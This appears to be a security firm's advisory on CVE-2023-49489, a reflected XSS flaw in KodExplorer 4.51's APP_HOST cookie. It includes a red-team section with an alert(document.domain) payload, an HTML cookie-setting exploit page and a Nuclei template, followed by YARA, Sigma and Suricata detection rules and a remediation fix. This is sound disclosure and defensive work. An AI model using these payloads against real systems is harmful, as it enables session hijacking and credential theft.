CVE-2023-49489

Executive Summary

CVE-2023-49489 is a Reflective Cross-Site Scripting (XSS) vulnerability in KodExplorer version 4.51. The flaw exists in the config/i18n/en/main.php file, where the APP_HOST cookie parameter is not properly sanitized before being reflected in the HTTP response. An unauthenticated attacker can craft a malicious link or cookie that, when visited by a victim, executes arbitrary JavaScript in the context of the KodExplorer application. This can lead to session hijacking, credential theft, and privilege escalation within the application. The vulnerability has a CVSS score of 6.1 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template. No official patch has been released by the vendor.

Supply Chain & Package Security

KodExplorer is a self-hosted PHP-based file manager. It is not distributed via package managers like NPM, PyPI, Go, or Ruby. The risk is primarily to organizations that deploy KodExplorer as a web application. Users should verify the integrity of their installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) - Victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) - The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) - Limited information disclosure.
• Integrity Impact: Low (I:L) - Limited modification of data.
• Availability Impact: None (A:N)
• EPSS Score: 0.00802 (Percentile: 0.74173) - Low probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS. The APP_HOST cookie is read by the config/i18n/en/main.php script and reflected directly into the HTML response without proper encoding or sanitization. An attacker can set the APP_HOST cookie to a malicious JavaScript payload. When a user visits a page that reflects this cookie value, the script executes in the user's browser.

The attack flow:

1. Attacker crafts a URL or uses a cookie injection technique to set the APP_HOST cookie to a payload like "><ScRiPt>alert(document.domain)</ScRiPt>.
2. Victim visits the KodExplorer login page (/index.php?user/login) with the malicious cookie.
3. The server reflects the cookie value in the response, causing the browser to execute the injected script.
4. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (KodExplorer 4.51): The config/i18n/en/main.php file likely reads the APP_HOST cookie and outputs it directly without sanitization. Example vulnerable pattern:

<?php
$app_host = $_COOKIE['APP_HOST'];
echo "<div>App Host: $app_host</div>";
?>

Patched Code (Hypothetical): A secure version would sanitize the output using htmlspecialchars() or similar:

<?php
$app_host = htmlspecialchars($_COOKIE['APP_HOST'], ENT_QUOTES, 'UTF-8');
echo "<div>App Host: $app_host</div>";
?>

No official patch exists; users must implement this fix manually or upgrade to a newer version if available.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• KodExplorer 4.51 running on a target server.
• Ability to set a cookie (e.g., via crafted link or direct cookie injection).

Exploit Steps:

1. Craft a malicious URL that sets the APP_HOST cookie:

   http://target.com/index.php?user/login
   

   Use a cookie injection tool or a simple HTML page to set the cookie:

   <html>
   <body>
   <script>
   document.cookie = "APP_HOST=" + encodeURIComponent('"><ScRiPt>alert(document.domain)</ScRiPt>');
   window.location = "http://target.com/index.php?user/login";
   </script>
   </body>
   </html>
   

2. Send the link to the victim.
3. When the victim visits the page, the JavaScript executes.

Nuclei Template (Provided):

id: CVE-2023-49489

info:
  name: KodeExplorer 4.51 - Reflective Cross Site Scripting (XSS)
  author: DhiyaneshDk
  severity: medium
  description: |
    Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the APP_HOST cookie parameter, potentially stealing user credentials or session cookies.
  remediation: |
    Update KodExplorer to a version newer than 4.51 that addresses the XSS vulnerability.
  reference:
    - https://github.com/kalcaddle/KodExplorer/issues/526
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-49489
    cwe-id: CWE-79
    epss-score: 0.00802
    epss-percentile: 0.74173
    cpe: cpe:2.3:a:kodcloud:kodexplorer:4.51:*:*:*:*:*:*:*
  metadata:
    vendor: kodcloud
    product: kodexplorer
    fofa-query: app="powered-by-kodexplorer"
  tags: cve,cve2023,kodexplorer,xss,vuln

http:
  - raw:
      - |
        GET /index.php?user/login HTTP/1.1
        Host: {{Hostname}}
        Cookie: APP_HOST={{RootURL}}/"><ScRiPt%20>alert(document.domain)</ScRiPt>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<ScRiPt >alert(document.domain)</ScRiPt>"
          - "KodExplorer"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

Blue Team (Defensive)

Detection:

• Monitor HTTP requests for unusual Cookie headers containing script tags or encoded payloads.
• Look for APP_HOST cookie values that contain <script>, <ScRiPt>, or other HTML/JavaScript patterns.
• Use WAF rules to block requests with suspicious cookie values.

Mitigation:

• Apply input validation and output encoding on the APP_HOST parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only cookies for session tokens to prevent theft.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with Cookie: APP_HOST=<script>...</script> or similar patterns.
  • Referer headers pointing to malicious domains.
• File IOCs:
  • Modified config/i18n/en/main.php file (if attacker has write access).
• Log IOCs:
  • Web server logs showing requests to /index.php?user/login with unusual cookie values.
  • Error logs containing JavaScript payloads.

Detection Engineering

YARA Rule

rule CVE_2023_49489_KodExplorer_XSS {
    meta:
        description = "Detects malicious APP_HOST cookie values in KodExplorer logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-49489"
    strings:
        $cookie_pattern = /Cookie:\s*APP_HOST=.*<[Ss][Cc][Rr][Ii][Pp][Tt]/ 
        $xss_payload = /<[Ss][Cc][Rr][Ii][Pp][Tt][^>]*>.*<\/[Ss][Cc][Rr][Ii][Pp][Tt]>/
    condition:
        $cookie_pattern or $xss_payload
}

Sigma Rule

title: CVE-2023-49489 KodExplorer Reflected XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with malicious APP_HOST cookie values targeting KodExplorer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query: '/index.php?user/login'
        cs-cookie|contains: 'APP_HOST='
        cs-cookie|re: 'APP_HOST=.*<[Ss][Cc][Rr][Ii][Pp][Tt]'
    condition: selection
falsepositives:
    - Legitimate use of APP_HOST with non-malicious values
level: high
tags:
    - attack.t1190
    - cve.2023.49489

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2023-49489 KodExplorer Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/index.php?user/login"; http_uri;
    content:"APP_HOST="; http_cookie;
    pcre:"/APP_HOST=.*<[Ss][Cc][Rr][Ii][Pp][Tt]/Ri";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2023-49489;
)

Remediation & Mitigation

Immediate Actions:

1. Manual Patch: Edit config/i18n/en/main.php and wrap the APP_HOST output with htmlspecialchars().
2. WAF Rules: Block requests with APP_HOST containing <script> or similar patterns.
3. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.

Long-Term Fix:

• Upgrade to a patched version of KodExplorer if the vendor releases one.
• Consider migrating to an alternative file manager with active security support.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Monitor web server logs for anomalous cookie values.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 925E12057D0C259497B5004F] */}